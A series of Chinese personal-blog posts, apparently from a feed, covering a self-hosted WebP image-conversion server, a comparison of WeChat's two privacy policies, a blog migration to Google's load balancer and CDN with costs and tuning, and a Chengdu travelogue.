<img src="picture_with_alpha.png.pagespeed.ic.uilK6vtMij.webp">
这样可以做到图片和转换后的图片分离的效果,但是这种转换我个人博客上便无法完成,为了方便配置和防止被绑死在一个博客平台上,我的博客图片被统一地放在了 / 地址上,这样 mod_pagespeed 便无法发挥作用了。
在 Cloudflare 中,Pro 用户可以使用到一个功能——Polish,功能描述如下:
Improve image load time by optimizing images hosted on your domain. Optionally, the WebP image codec can be used with supported clients for additional performance benefits.
如果选择了 Serve WebP Image 的话,通过 Cloudflare 的图片请求会被无缝地转换为 WebP 格式输出,同时请求头部中,会多一个名为 cf-polished 的 Header,用来 debug 转换情况。有兴趣的读者可以看一下 Cloudflare 的博文「Using Cloudflare Polish to compress images」来了解更多相关信息。
Cloudflare 的这个功能很赞,由于这个转换需要算力,所以 Polish 只提供给 Pro 用户使用,为了同样使用到类似的功能,我用 NodeJS 写了一个服务器,命名为 WebP Server,之后和 Benny 用 Golang 重写了一遍,命名为 WebP Server Go。
由于 WebP Server 和 WebP Server Go 功能类似,且由于主要在发展后者,这里直接介绍 Go 版 WebP Server 啦。
WebP Server Go 的使用方式非常简单,由于使用 Go 编写,使用者只需要下载单一文件——webp_server,创建一个 config.json 文件,内容大致如下:
{
"HOST": "127.0.0.1",
"PORT": "3333",
"QUALITY": "80",
"IMG_PATH": "/path/to/pics",
"ALLOWED_TYPES": ["jpg","png","jpeg"]
}
然后 webp_server --config /path/to/config.json 即可运行 WebP Server,最后加上 Nginx 的反向代理就可以用了。
举个例子,有一张图片是 https://image.nova.moe/tsuki/tsuki.jpg,对应的图片在服务器上的存放目录为 /var/www/nova-image/tsuki/tsuki.jpg 的话,那么,配置文件中的 IMG_PATH 就是 /var/www/nova-image,同时,每次转换导出的 webp 图片会被缓存到 webp_server 同目录的 exhaust/tsuki/tsuki.webp 下,供后续访问的时候直接输出使用。
最重要的一点是——我们访问的 URL 可以完全不用改变,访客访问的依然是 https://image.nova.moe/tsuki/tsuki.jpg ,但是得到的图片格式为:image/webp,而且体积减少了不少。
而且,对于 Safari 用户来说,WebP Server 会选择直接输出原图,防止出现输出的 webp 图片不能显示的情况。
那么这个 WebP Server 效果如何呢?以一篇包含了不少图片的文章「那些年我开过的车(们)」为例:
在默认原图输出的时候,PageSpeed 得分为

对应的图片请求为:

使用了 WebP Server 之后:


看上去很赞是不是~
写作本文时,正好是乔布斯的生日,想到之前看到的一段话。
我们很多人都想回馈社会,在这股洪流中再添上一笔。这是用我们的专长来表达的唯一方式——因为我们不会写鲍勃·迪伦的歌或汤姆·斯托帕德的戏剧。 我们试图用我们仅有的天分去表达我们深层的感受,去表达我们对前人所有贡献的感激,去为这股洪流加上一点儿什么。那就是推动我的力量。
——《史蒂夫·乔布斯传》
这世界上轮子太多,在各种开发工具的加持下造出一个没有解决任何痛点的粗糙轮子也越发简单,而专注于解决特定需求的工具只有少量沉淀,在这个 PNG/JPG 和 WebP 共存的历史背景下,希望 WebP Server Go 成为起到一个平稳过渡的工具,目前代码已经开源在 GitHub:n0vad3v/webp_server_go,由于初学 Go 没多久,代码上可能还有不少欠缺考虑的地方,还望未来的使用者海涵。
Happy Hacking!
]]>2021-09-05 更新,加入不同区域的 Weixin/Wechat 功能对比,来自:https://twitter.com/jike_collection/status/1434345153091674117/photo/1

我们知道,在中国大陆,很多地方都开始「微信化」,在前些年可能我们还能脱离微信活着,带来的损失也就仅仅是丢失一些只会用微信的联系人。
但是随着时间的推移,越来越多的服务开始依托这个难用的微信,无论是办公(企业微信)还是出行(车库出场扫码),微信带给部分使用者(企业管理,车库管理)的少量便利性已经开始慢慢变为强制大家将微信作为一个他们所宣传的「一种生活方式」的形式出现在自己的生活中。
处处要微信扫一扫,腾讯从垄断人的嘴,转变成垄断人的数字生活,最后升级成垄断人的一生。 最后由于一些莫须有的原因,一个微信号被封了,就相当于人权被剥夺…
微信的难用是有目共睹的,企业微信那文档质量也是大家懂的,微信小程序开发环境的蹩脚程度,可能相关开发者也所感触,不过本文并不想来过多地吐槽微信作为产品有多垃圾和反互联网化,我们来看看一个大家少有的关注点:「隐私政策」。
我知道你们注册任何东西的时候都不会仔细阅读那一行仅能看清的「我已阅读并同意「安全守护」用户协议 和 隐私政策」(可参考:「当代人最违心的话,是“我已阅读并同意隐私政策”_新浪科技_新浪网」),但是这个里面可能会藏有许多的坑和意想不到的事实,例如租车行业,可以参考之前我的文章「谈谈我对大陆分时租车的理解」,这种长期实名使用的玩意,还是多看一眼吧…
由于微信和我们的生活存在了一个相当强的耦合关系,很多时候没法直接剥离,所以有必要多了解一些政策机制,最近在一个好友分享给我了微信隐私政策的截图后,挖掘了一下微信隐私政策中一些或许值得我们关注的点,在此分享出来。
第一点,微信(WeChat)有两套「隐私政策」,分别为:
通过下文的对比,上面两份「隐私政策」的面相对象应分别为:中国大陆用户和非中国大陆用户。
在 「微信隐私保护指引」中,我们发现:
2.1 信息存储的地点
我们会按照法律法规规定,将境内收集的用户个人信息存储于中国境内。
而在「WeChat 隐私保护概述」中,我们看到:
我们在哪里处理您的数据?
我们的服务器设在加拿大安大略省和中国香港。我们还有遍布世界各地的支持、工程和其他团队,支持向您提供WeChat。我们可能会从这些位置访问您的数据。我们采取严格的内部控制措施,严格限定仅指定团队成员才能访问您的数据。
…
我们会将向您收集的个人信息传输至以下地点并在其中对信息进行存储或处理:
- 加拿大安大略省(根据 2001 年 12 月 20 日发布的欧盟委员会第 2002/2/EC 号决议,认定此地点能为个人信息提供足够的保护级别);
- 中国香港(我们依赖欧盟委员会关于向第三国传输个人数据的范本合同(即,标准合同条款),依据第 2001/497/EC 号决议(如果传输给控制者)和第 2004/915/EC 号决议(如果传输给处理者)。
我们的支持向您提供WeChat的工程、技术支持以及其他团队分布在我们遍布世界各地的办事处(包括新加坡、中国香港和荷兰),为了向您提供服务(例如,为解决您报告的技术问题),这些团队有时可能会访问您的某些数据。我们依赖欧盟委员会关于向第三国传输个人数据的范本合同(即,标准合同条款),依据第 2001/497/EC 号决议(如果传输给控制者)和第 2004/915/EC 号决议(如果传输给处理者)。
在 「微信隐私保护指引」中,并没有明确说明,这里参照文末的:
腾讯《隐私政策》是腾讯统一适用的一般性隐私条款,其中所规定的用户权利及信息安全保障措施均适用于微信用户。
找到:
中国广东省深圳市南山区科技园科技中一路腾讯大厦法务部数据及隐私保护中心(收)
而在「WeChat 隐私保护概述」中:
数据控制者:
- 欧洲经济区和瑞士境内 的用户:Tencent International Service Europe BV.(腾讯国际服务欧洲私人有限公司)
- 欧洲经济区或瑞士以外的用户(受以下条件的约束):Tencent International Service Pte. Ltd.(腾讯国际服务新加坡私人有限公司)
如果您符合下列条件之一:
(a) 通过绑定中华人民共和国(此处仅限“中国大陆”,不含港澳台地区)境内购买的手机号码进行注册(即使用国际区号 +86 的联系电话);或
(b) 就微信或 WeChat 与深圳市腾讯计算机系统有限公司 (Shenzhen Tencent Computer Systems Company Limited) 签订了合同(例如,您已从 PRC iOS 应用商店或 PRC Android 应用商店下载了微信或 WeChat),
您将受微信服务条款和微信隐私政策的约束,而不受本隐私政策的约束。
数据保护官:
- 电子邮件:[email protected]
- 邮政邮件:26.04 on the 26th floor of Amstelplein 54, 1096 BC Amsterdam, the Netherlands
简单来说,你的数据取决于你注册微信时的手机号和所使用的软件版本,出于方便理解起见,我画了个图:

在 「微信隐私保护指引」中:
一般而言,我们仅为实现目的所必需的最短时间保留您的个人信息。但在下列情况下,我们有可能因需符合法律要求,更改个人信息的存储时间:
为遵守适用的法律法规等有关规定; 为遵守法院判决、裁定或其他法律程序的规定; 为遵守相关政府机关或法定授权组织的要求; 我们有理由确信需要遵守法律法规等有关规定; 为执行相关服务协议或本政策、维护社会公共利益,为保护们的客户、我们或我们的关联公司、其他用户或雇员的人身财产安全或其他合法权益所合理必需的用途。当我们的产品或服务发生停止运营的情形时,我们将采取例如,推送通知、公告等形式通知您,并在合理的期限内删除或匿名化处理您的个人信息。
但是具体是多久,并没有说明,类似的问题在国内许多 APP 上都有体现,可以参考「个人信息保存时间的标准不明确或不合理,存储地域未告知」。
在「WeChat 隐私保护概述」中,则写的详细很多:
| 信息类型 | 保留期限 |
|---|---|
| 注册信息:你的名字、用户昵称、密码、性别、IP地址 | 直到您指示WeChat删除您的帐户或未登录时间到达 180 天。您的帐户将于验证帐户所有权与帐户删除请求后的 60 天内永久删除。 |
| 注册信息:用于注册微信账号的手机号码、QQ、Facebook、Google或邮箱帐户 | 直到您指示WeChat删除您的帐户或未登录时间到达 180 天。您的帐户将于验证帐户所有权与帐户删除请求后的 60 天内永久删除。微信账号删除后,将保留聚合注册信息,以防止垃圾邮件,保障系统安全。 |
| 登录数据 | 自登录之日起,信息保留 3 个月。 |
| 用户个人资料搜索数据 | 直到您请求删除或修订个人信息,或者您的帐户被删除,以两者中时间较早的为准。 |
| 个人信息(所有用户均可查看) | 直到您请求删除或修订个人信息,或者您的帐户被删除,以两者中时间较早的为准(然而,缓存在第三方服务中的数据可能仍可用)。 |
| 个人信息 - 头像(所有用户均可查看) | 直到您请求删除或修订个人信息,或者您的帐户被删除,以两者中时间较早的为准(但是,若在第三方服务上缓存达60天,该信息则可能仍然存在)。 |
| 个人信息 - 名字(所有用户均可查看) | 在请求移除、修改你的信息或你的微信账号删除后(以较早发生者为准),信息最多会保留60天。 |
| 其他帐户安全 | 直到您请求删除或修订个人信息,或者您的帐户被删除,以两者中时间较早的为准(然而,缓存在第三方服务中的数据可能仍可用)。 |
| 聊天 — 用户间的非持久性和半持久性通信 | 数据自相关交互开始时间起保留 120 小时,然后会被永久删除。 |
| 聊天 - 图像、视频、音频和文件等方式 | 数据自相关交互开始时间起保留 120 小时,然后会被永久删除。 |
| 联系人列表 | 直到您请求删除或修订个人信息,或者您的帐户被删除,以两者中时间较早的为准。 |
| 基于位置的服务和基于位置的媒体 | 数据自相关交互开始时间起保留 24 小时,然后会被永久删除。 |
| 朋友圈和收藏夹 – 数据和媒体 | 直到您请求删除或修订个人信息,或者您的帐户被删除,以两者中时间较早的为准(然而,缓存在第三方服务中的数据可能仍可用)。 |
| OpenID 和 Open ID 媒体(已提供给第三方) | 直到您取消关注第三方开发商的应用程序、公众号、小程序或类似程序,或者您的帐户被删除,以两者中时间较早的为准。 |
| 提供第三方产品和服务(即,您是公众号或小程序的提供商) | 直到您指示WeChat删除您的帐户。您的帐户将于验证帐户所有权与帐户删除请求后的 60 天内永久删除。请注意,披露给第三方的信息由第三方控制。我们将尽合理的努力谋求他们像我们一样删除此类信息。 |
| 提供给公众号/小程序的信息 | 直到您指示WeChat删除您的帐户或撤销许可/取消关注此类第三方。请注意,披露给第三方的信息由第三方控制。我们将尽合理的努力谋求他们像我们一样删除此类信息。 |
| 提供给客户服务的信息 | 直到您指示WeChat删除您的帐户。您的帐户将于提出帐户删除请求后的 60 天内永久删除。 |
| 元数据/日志数据 | 数据自登录之日起保留 3 个月,然后会被永久删除。 |
| 设备数据 | 直到您指示WeChat删除您的帐户。您的帐户将于提出帐户删除请求后的 60 天内永久删除。 |
| 社交联系信息 | 直到您指示WeChat删除您的帐户或取消您的社交帐户与您的WeChat帐户的绑定。您的帐户将于提出帐户删除请求后的 60 天内永久删除。 |
| Cookie | 数据自登录之日起保留 3 个月,然后会被永久删除。 |
在 「微信隐私保护指引」中:
目前,我们不会主动共享或转让你的个人信息至腾讯集团外的第三方,如存在其他共享或转让你的个人信息或你需要我们将你的个人信息共享或转让至腾讯集团外的第三方情形时,我们会直接或确认第三方征得你对上述行为的明示同意。
我们不会对外公开披露其收集的个人信息,如必须公开披露时,我们会向你告知此次公开披露的目的、披露信息的类型及可能涉及的敏感信息,并征得你的明示同意。
根据相关法律法规及国家标准,以下情形中,我们可能会共享、转让、公开披露个人信息无需事先征得个人信息主体的授权同意:
1) 与国家安全、国防安全直接相关的;
2) 与公共安全、公共卫生、重大公共利益直接相关的;
3) 与犯罪侦查、起诉、审判和判决执行等直接相关的;
4) 出于维护个人信息主体或其他个人的生命、财产等重大合法权益但又很难得到本人同意的;
5) 个人信息主体自行向社会公众公开的个人信息;
6) 从合法公开披露的信息中收集个人信息的,如合法的新闻报道、政府信息公开等渠道。
在「WeChat 隐私保护概述」中:
除非下文中另有规定或者您同意我们这样做,否则我们不会将您的个人信息传输给任何其他第三方。
我们会在具有法律依据和有效管辖权的选定接收方请求此类数据时与其共享您的信息。这些接收方的种类包括:
- 政府、公共部门、监管、司法以及执法机关或机构:我们需要遵守适用法律或法规、法院命令、传票或其他法律程序,或以其他方式具有响应此类实体的数据请求的法律依据,同时请求实体具备有效管辖权才能获得您的个人信息;
- 相关集团公司:我们会出于以下目的在我们的集团公司内共享您的个人信息,这些公司包括运行中国香港和加拿大服务器的 Tencent International Service Europe BV(在荷兰)、Tencent International Service Pte. Ltd(在新加坡)、WeChat International Pte Ltd(在新加坡)、Oriental Power Holdings Limited(在香港)和 WeChat International (Canada) Limited(在加拿大):
- 向您提供WeChat、帮助我们实现上文"我们如何收集和处理您的信息"部分中所述的目的,以及按照《WeChat服务条款》或本隐私政策履行我们的义务和行使我们的权力;
- 如果我们或我们的关联公司进行了内部重组,或者我们将WeChat或其任何资产卖给第三方,则后续运营WeChat的实体可能不再是我们,在这种情况下,我们会相应地转让您的信息,以便您能继续使用服务;
在 「微信隐私保护指引」中:
6.5.1注销微信帐号
进入微信后,点击“我”;
点击“设置”;
点击“帐号与安全”;
点击“微信安全中心”;
点击“注销帐号”。
注: 当你注销帐号后,我们将删除或匿名化处理你的个人信息
在「WeChat 隐私保护概述」中:
您可以登录您的WeChat帐户并按照此处的帐户删除说明删除您的帐户,或移除某些个人信息。如果您认为我们应擦除我们所处理的任何其他个人信息,请在此处填写请求表。
在以下情况下,您可以请求我们擦除我们所持有的关于您的个人信息:
- 您认为我们不再需要持有您的个人个信息;
- 我们已获得您的同意可以处理您的个人信息而您撤销了这一同意(并且我们没有任何其他理由要求处理个人信息);
- 您认为我们在对您的个人信息进行非法处理;或
- 在我们收集您的个人信息时您未满 13 岁并且我们可以验证您的年龄。
另请注意,在我们考虑您的数据擦除请求时,您可以行使您的权利限制我们处理您的个人信息(如下文中所述)。
不过还请注意,如果我们有充分的法律依据(例如,为了就法律诉讼进行辩护、言论自由或一些其他法律义务),我们可能会保留个人信息,而如果属于这种情况,我们会通知您。
如果您已请求我们为您擦除我们已公开的个人信息且有擦除理由,则我们将采取合理步骤尝试告诉当前显示您个人信息或提供指向这些信息的链接的其他人也将其擦除。
2020-02-23 更新:感谢评论区的一些小伙伴,这里修正一下,应该会有一个或者两个链接显示,可能取决于 APP 下载渠道,之前误认为的没有显示可能是各别“全面屏”机型强制拉伸后被下方按键挡住。
不过,不同的注册号码似乎的确可以稳定复现打开不同的隐私政策。
由于变量较多,建议评论的伙伴们加入一些细节信息,比如:下载来源(国区AppStore/美区AppStore/GooglePlay/国产应用商店)、当前 APP 版本、注册号码(是否+86,是否欧盟区手机号)、目前号码。
很遗憾,除了上图以外,我们没有办法知道自己的数据属于哪一部分管理,不过这里分享一个发现的点,不一定正确,在「Wechat -> 设置 -> 隐私」页面的最下方,有两种不同的显示:


其中,在自己和朋友的测试下,对于只显示一个链接的用户来说,如果注册时使用的 +86 号码,无论之后如何调整,点开都是「微信隐私保护指引」的内容,而 +852 注册号码点开后为「WeChat 隐私保护概述」。
热心读者"季缶"分享了一下自己的情况:
可能通过判断打开链接后是「微信隐私保护指引」还是「WeChat 隐私保护概述」比较准确一些。我的一个小号,用 +86 注册,也有两个链接;主号用 +86 注册,后换成 +1,还是两个链接。不过这些链接点开都是「微信隐私保护指引」而不是「WeChat 隐私保护概述」,语言变更与否没有影响,供参考。
可以参考:
我想中国人可以更加开放,对隐私问题没有那么敏感。如果他们愿意用隐私交换便捷性,很多情况下他们是愿意的,那我们就可以用数据做一些事情。
——李彦宏
我已阅读并同意隐私政策,了解如果不输入手机号,就用不了,输入手机号则表示同意注册协议,同意注册协议则表示公司可以推送各种广告,并理解自己的数据控制权在「Tencent International Service Europe BV.」,那么,腾讯微信是否会遵守GDPR呢?
]]>
并且将自己的博客迁移到了 Google Load Balancer 上,顺便也调整了一下博客的部署结构,先说结论——新的结构在国内环境下访问速度有较大的提升,平均延迟下降了许多(从 200ms -> 40ms),费用也有较大的提升。
在许久的一篇文章「使用 Google Cloud Platform 的 Storage 托管静态站点并通过 Google CDN 加速」中我们知道,Google 的 CDN 在大陆有着较低的延迟,但是 Google CDN 只能套在 Google Load Balancer 上用,而 Google Load Balancer 也只能用在 GCP 家产品上,这样,如果要使用 Google CDN,就必须使用 Google 的不少产品,捆绑上车。
我们知道,业界 Load Balancer 一般有以下实现方案:
且不讨论 CNAME 那个看上去像是一个没钱 Anycast 的解决方案,而且如果用给 APEX 解析的话,在没有特殊加成(APEX FLATTEN)的情况会把 MX 记录炸穿(然后你就无法收邮件了),前者看上去是一个比较用户友好的方式,因为你只需要 A 记录到一个 IP 就可以了,绿色无害。
在了解 Google LB 之前,我们需要了解一个名词——GFE,感谢 Snowden 的 PPT,我们可以有一个直观的图示:

所有到 Google 的流量会在 GFE 上 SSL Offload(应该叫 SSL 卸载?),并且后端全部是在 Google 内网内以 HTTP 的方式进行传输。
在 Google Infrastructure Security Design Overview 中,我们也可以看到:
When a service wants to make itself available on the Internet, it can register itself with an infrastructure service called the Google Front End (GFE). The GFE ensures that all TLS connections are terminated using correct certificates and following best practices such as supporting perfect forward secrecy.
Google LB 也是一样,使用 GFE 作为面相用户的前端,将 SSL 流量在 GFE 上终结,然后以 HTTP 的方式回到后端的 Service 上。
使用一个统一的入口好处有很多,比如 GCP 就提供了一个统一的位置修改 SSL Policy:

可以自己选择心水的 Cipher Suite 和最低 TLS 版本等,和 Cloudflare 差不多(但是要让 Ucloud LB 做到这一点似乎就太困难了,他们基于 HAProxy 搞的 ULB 到本文发布时还不支持 TLS 1.3,而且要改 Cipher Suite 需要提工单)。
GCP 上的 IP 分为两种,一种是 Premium ,一种是 Standard,默认是前者,Google LB 也只能用 Premium。
Premium 使用的是冷土豆路由,所发送的数据包会保持在 Google 的内网内,并且在尽可能靠近用户的 PoP 离开。
比如,从 GCP 日本到美西的一台非 GCP 机器的路由追踪是这样的:
1?: [LOCALHOST] pmtu 1460
1: 4.68.70.161 105.157ms asymm 11
2: no reply
3: ??? 121.825ms asymm 14
4: no reply
5: no reply
6: no reply
7: us-east.novanetwork 118.394ms reached
Resume: pmtu 1460 hops 7 back 18
可以看到第一跳就已经到了 LEVEL3, - United States, Colorado, Louisville 的机房,之前的路由完全在 Google 内网下完成。
相比较之下 Standard 使用的热土豆路由,流量会在机房所在地丢出 Google 网络,剩下的事情走公网,也就是我们一般看到的路由追踪路径了。
说到 SSL,在「使用 Google Cloud Platform 的 Storage 托管静态站点并通过 Google CDN 加速」写作的时候,Google LB 上只支持使用自己的证书,这样对于 Let’s Encrypt 用户来说就非常不友好,因为需要每 3 个月去续一下,虽然 GCP 提供了 API 可以自助上传/更改证书,但是还是比较麻烦。
这一次,Google LB 支持 Managed Certificate,只需要创建 Cert,写上域名,将 IP 指过去,然后等小段站点完全不可用时间(20分钟左右),就可以了,证书签发机构是:Google Trust Services,最上层是 GlobalSign。

一个 IP 下最多支持 9 个 SSL 证书,考虑到 Google LB 较高的起步价(18 USD 起步)来看,多个人一起合租似乎是一个比较靠谱的选择,如果你有兴趣(且觉得本站打开速度蛮快,且希望自己的站的速度能变快,且你的服务器在日本附近)的话,欢迎来 联系 我。
哦对了,The managed SSL certificates feature is not covered by Cloud SLA。
Google LB 也是反向代理,对应的来源 IP 是 35.191.0.0/16 和 130.211.0.0/22,所以在自己的实例上可以选择将这个两个 IP 段白名单并且禁止其余 IP 的访问,可以参考「让 Nginx 只允许 Cloudflare 反向代理流量以隐藏源站」。
除此之外,还有两个需要 Tune 的地方:
keepalive_timeout 620s;Cloudflare 默认会缓存所有静态文件(比如 jpg, css, js, png, ppt),而且如果需要全部缓存的话只需要指定一个 Page Rule 就好了,而对于 Google CDN 来说,要让一个资源被缓存,需要:
GET request.200, 203, 206, 300, 301, 302, 307, or 410.Cache-Control: public header.Cache-Control: s-maxage, Cache-Control: max-age, or Expires header.Content-Length, Content-Range, or Transfer-Encoding header.好处是更加灵活了,坏处是需要手动改 Nginx,而不能像 Cloudflare 那样在后台面板上直接修改,而且 Google CDN 也没有提供一个 Purge All Cache 的选项,只能像 AWS S3 那样一个个手动 invalidation,比较原始。
在上面提到的文章中我们知道,如果 Google Load Balancer 的后端是 Google Storage 的话,是没有 HTTP 到 HTTPS 的重定向的,加上我博客并不是静态页面,所以就需要一个 Instance Group 作为 LB 的后端。
从性价比来说,使用 GCP 的 Instance 其实并不高,GCP 中默认创建的实例 CPU 为 Intel(R) Xeon(R) CPU @ 2.00GHz,如果你需要一个 1C,1.7G 内存的 g1-small 机器,每个月的实例费用(不包括流量)为 14.20 USD,而这个价格在 Vultr 上可以买到主频为 3.8GHz,2G 内存,64G NVMe 空间的 High Frequency Compute,在自己的 ab 测试情况下,后者的 Request per Second 可以是前者的 3 倍左右。
所以最实惠的方案似乎是在 GCP 上起一个配置一般的实例,并在 Vultr 附近可用区内创建一个 High Frequency Compute,两点通过 Wireguard 打通,并让 GCP 转发流量,这样可以做到更高的性价比,大概像这样:

上面说了那么多,这样一套结构,在 GCP 这一侧价格大概如何呢?
| Product | Price(USD) |
|---|---|
| Google LB + Google CDN | 18/month |
| GCP instance * 2 (g1-small) | 28.4/month |
| Traffic to China | 0.23/G |
| Traffic to US | 0.14/G |
切换到 Google CDN 之后,在部分同学那儿反应速度已经提升了不少,在阿里云上海机房段可以做到秒开,但是其实还是有很多可以改进的地方的。
比如博客用的 DNS,依然是 Cloudflare 的 IP,在国内普遍延迟 200ms,所以之前是 200ms 解析 + 200ms 连接的话,现在是 200ms 解析+40ms 连接,我们应该还可以更快一些,比如使用 NS1 作为 DNS 服务商(可以降到 60ms 左右),不过由于 nova.moe 域名上面有不少需要 Cloudflare 反代+缓存的内容,一时半会还没法迁移走。
如果说重庆是铃木和长安的天下的话,成都应该就是瓦罐之乡了。
——Day 0 in Cheng Du
作为与重庆(几乎)接壤的一个西部城市,不过其地形和重庆相比则完全不一样,在重庆,几乎往四周任意方向看都可以看到连绵不断的山脉,而到了成都,便可以理解到 Wikipedia 上对于平原的描述:成都平原,又名川西平原,位于今中国四川省四川盆地西部,是整个中国西南地区面积最大的平原。
和之前的「大灣區遊記——香港」一样,本文也是打算记录一下自己在成都的一些新鲜见闻和有趣的事情,同时也会参杂一些对于生活的感悟。
到了成都的第一件事就是打车去酒店,在这个过程中得出了第一个偏见——成都咋这么多瓦罐?
从城市运营,出租车的角度来看,重庆地区几乎全部采用了长安的铃木启悦作为主力车型,虽然今年加入了长安逸动 EV460 和东风某 SUV 纯电动车,但是长安车系依然居于第一地位。
相比较之下,我所见到的成都出租车几乎全部为大众捷达,甚至滴滴打到大众的概率也非常大,目前似乎一个可行的解释为一汽大众在成都有生产基地,且捷达作为几乎较便宜的三厢车,适合作为出租车的使用:
大众汽车集团(中国)目前在上海、长春、大连、南京、仪征、成都、佛山、宁波、长沙、乌鲁木齐和天津建有生产基地。

如上图,在离开酒店到达成都的「骡马市」地铁站附近后,出站就是一个瓦罐,之后滴滴也是瓦罐,出租车还是瓦罐,emmm。

到一个城市旅游,我们究竟旅游的是什么,这是一个我一直在思考的问题,如果说我们如同余秋雨一样探访古迹,作为“现代人”的我来说似乎难以企及,如果说为了某些购物商场去买买买,似乎现在的物流业和购物业并不需要我们这么做,那我们旅游究竟是为了什么呢?
写到这儿,突然想到在去成都的路上的一个小插曲,由于火车经过重庆,合川等地,在到达合川站的时候,我突然意识到这个比邻重庆的小镇似乎从来没有去探访过,抱着对于给自己的生活多一点惊喜的想法,我在合川站便直接跳下了车,拖着大包小包穿梭在了一些小路之中,当然,合川也并没有让我失望,在文峰古街的江边,久违的太阳照耀着这三江交汇的地方,在江边坐在自己的行李箱上看着被风吹起漫漫波澜的湖水,从路边老人那儿买了点橘子,一遍吃,一遍思绪逐渐发散…

直到偶然看了一下手表,才发现从合川出发的火车已经快要出发,不得不集中注意力从箱子上跳起来,赶往车站。
到达成都后,通过一些搜索发现旅游景点似乎不是很多(当然,其实每个城市“旅游景点”都不会很多,倒是一些比较耐人寻味的地点需要长期生活后去慢慢品味),成都之行也并没有去过比较多的景点,只是去了几个比较热门的地方看了看人,比如——锦里,在 Wiki 上对于锦里有如下描述:
锦里,又名锦里一条街、锦里古街,是位於中國四川省成都市的一條古商業街,最早可追溯到秦漢時期。传说中锦里曾是西蜀历史上最古老、最具有商业气息的街道之一,早在秦汉、三国时期便闻名全国。锦里毗邻武侯祠,頗有古蜀國民風。現在的锦里已經被開發成一條民俗商業步行街,混合三國文化以及川西文化。
作为成都的一个代称,至少也要对得起这个城市,和大多数旅游景点一样,内部充满了各地来的游客和生意人,在许多地方都可以感受到这个地方的繁华。

不过让我印象比较深的在于这个,可能是阿拉伯的沙瓶,由一个外国老者所制作,本想买来收藏的,可惜由于空间和运输原因,并没有下手。


有一个东西在国内各地的旅游景点中都不会缺少,也就是食物,这个时候,我们需要大声说出——豆腐脑肯定是吃___(甜|咸|辣)的!

为了防止变胖,在少量的饮食之后,便继续在园区内逛了一下,拍摄了一些照片。

各地的景区可能都比较相似,但是锦里作为一个参观的地方,一部分程度上让我从另一个角度感受了旅游的乐趣——感受到不同城市的生活节奏,在《亲密关系》中,我们知道:
人们喜好新异和兴奋,过分呆板僵化的可预测性会使爱情变得平庸和单调。
由于长期在一个比较紧张的环境下学习/工作,在旅游景点中的所见所闻,第一步感受到了成都的生活气息,部分符合一个说法——慢节奏。
和锦里一样,主要是看人加吃饭,不是是什么原因,在进入宽窄巷子之后便感觉到有些胸闷,不知道是否是因为内部装修的原因还是人太多的原因。

作为一个被现代化侵蚀严重的景点,宽窄巷子中「古风建筑」并没有给我留下比较大的印象,倒是这位街头艺术家和掏耳朵的人,让我回忆到了一些多年前才能看到的世界,那个大家还没有那么功利的世界,那个大家生活都不是特别富足但是非常团结的世界。

内部也有一些类似四合院的结构,几间商店中间围着一个小水潭,可能是由于有好事者往其中丢了一些硬币的缘故,许多人在完成购物后也习惯性地丢入几个硬币,久而久之,水潭,成了一个硬币存储地。

晚上,在不靠谱的同学的室友的朋友的推荐下,来到了春熙路,不过由于感觉到与这个地方所售之物没有眼缘,便拍了几张照片之后买了点吃的东西回到酒店休息了。

哪个男人不喜欢开车呢?无论是上海,北京,深圳,成都,重庆(啊,没有重庆),能见到卡丁车场都会让我感觉到惊喜和兴奋,在成都国际赛车场旁有一处金港赛道(不过很可惜,第二次去的时候已经被拆了)。


不过由于自己车技一般加上中途手机差点被抖出来,始终未能跑到一分钟以内,也是一大遗憾。
Karting 完后回去的路上,看到路边有一些二手车的店,内部很有「内味」,比如二手的 Focus ST,改了宽体的 86,无不刷新我对线下改车的认识。


久 美 子 之 夜?
又是一个晚上,又是在不靠谱的同学的室友的朋友的推荐下,来到了环球中心,据称是 “世界上最大的单体建筑”。
新世纪环球中心结构主体长500米,宽400米,高100米,建筑面积176万平方米,落成后超越迪拜国际机场第三航厦,成为吉尼斯世界纪录大全中建筑面积最大的建筑物。
那叫一个富丽堂皇啊,进入了大楼之后很多时候都会忘记了自己已经身处建筑中,此外还有室内海滩,酒店大楼,甚至海滩附近的地下厕所可以做到完全没有信号。

当时进去玩的时候便在想,这个楼已经可以完全自治了吧,要是发生了什么恐怖事件,或者类似「后天」的场景,估计可以在这个地方生存很久。
上面啰啰嗦嗦写了一些成都的 POI,这里再来说说看成都的交通,先说一个比较有意思的段子:
如何判断一个人是重庆人还是成都人呢?
看他是否会骑自行车,会的是成都人,不会的是重庆人。
可能是由于地形缘故,成都的自行车非常多,重庆的自行车却非常少,少到没有非机动车道,摩托车电瓶车在人行道上四处穿梭。
例如在 IT 的重点区域——天府三街,如果运气好,起床比较早的话, 可以看到类似于如下景象:

当然,下班时间也是一样,大家都在抢自行车,整个三街水泄不通,跟着上班族一起上下班,在寒风中找自行车,走到单位楼下后买早餐,排队上楼,坐到自己工位上,唉,生活的气息呀,每天忙碌上班,是为了什么呢?

每天上班,可以让自己不至于没有钱吃饭导致饿死,但是有了收入之后,就又会被”生活的压力“推着走,买房,结婚,生子,买车,换更大的房子,终其一生,我们完成了别人的使命,如果自己有点想法想要按照别的路线走呢?
户口所在地,孩子上学需要当地户口,越来越真实的女方家庭要求,终会把你拉回现实,成为一头挨了锤的牛,每天日出而起,日落还在加班,不知是为了何。

那一天我二十一岁,在我一生的黄金时代。我有好多奢望。我想爱,想吃,还想在一瞬间变成天上半明半暗的云。后来我才知道,生活就是个缓慢受锤的过程,人一天天老下去,奢望也一天天消失,最后变得像挨了锤的牛一样。
最后回过来点评一下成都交通一个比较有意思的地方,就是道路的待行区很长,经常在一个方向直行绿灯的时候就有许多车进入了待行区,这个没啥问题,但是每到了车多的时候,另一个方向的车已经堵在路中间了,这边在进入待行区,然后直行车也会被堵上,另一边的直行车绿灯的时候也没法通过,然后另一边的车也进入了待行区,场面十分混乱,我只负责解说。
短暂的成都之旅在寒风中度过了,这一次成都之行并不只是单纯的「纯玩」,也是一次生活体验之旅,一次工作体验之旅,从中获得的感悟太多,可能已经不是这一篇文章可以说的完的了,在这次成都之旅中,也是非常感谢位于天府三街的某游戏公司给予的支持,虽然只是短短几天的时间,但是带给了我非常好的工作体验和生活感悟。
离开了成都之后,我又飞往了一了另一个陌生的城市。

可是我过二十一岁生日时没有预见到这一点。我觉得自己会永远生猛下去,什么也锤不了我。
我又会遇到谁?遇见什么样有趣的事情?这些都是未知数,但是重要的是,我没有被钉死在某一个地方,还在继续生活,还在不断感受到这个世界给我带来的生气和活力。
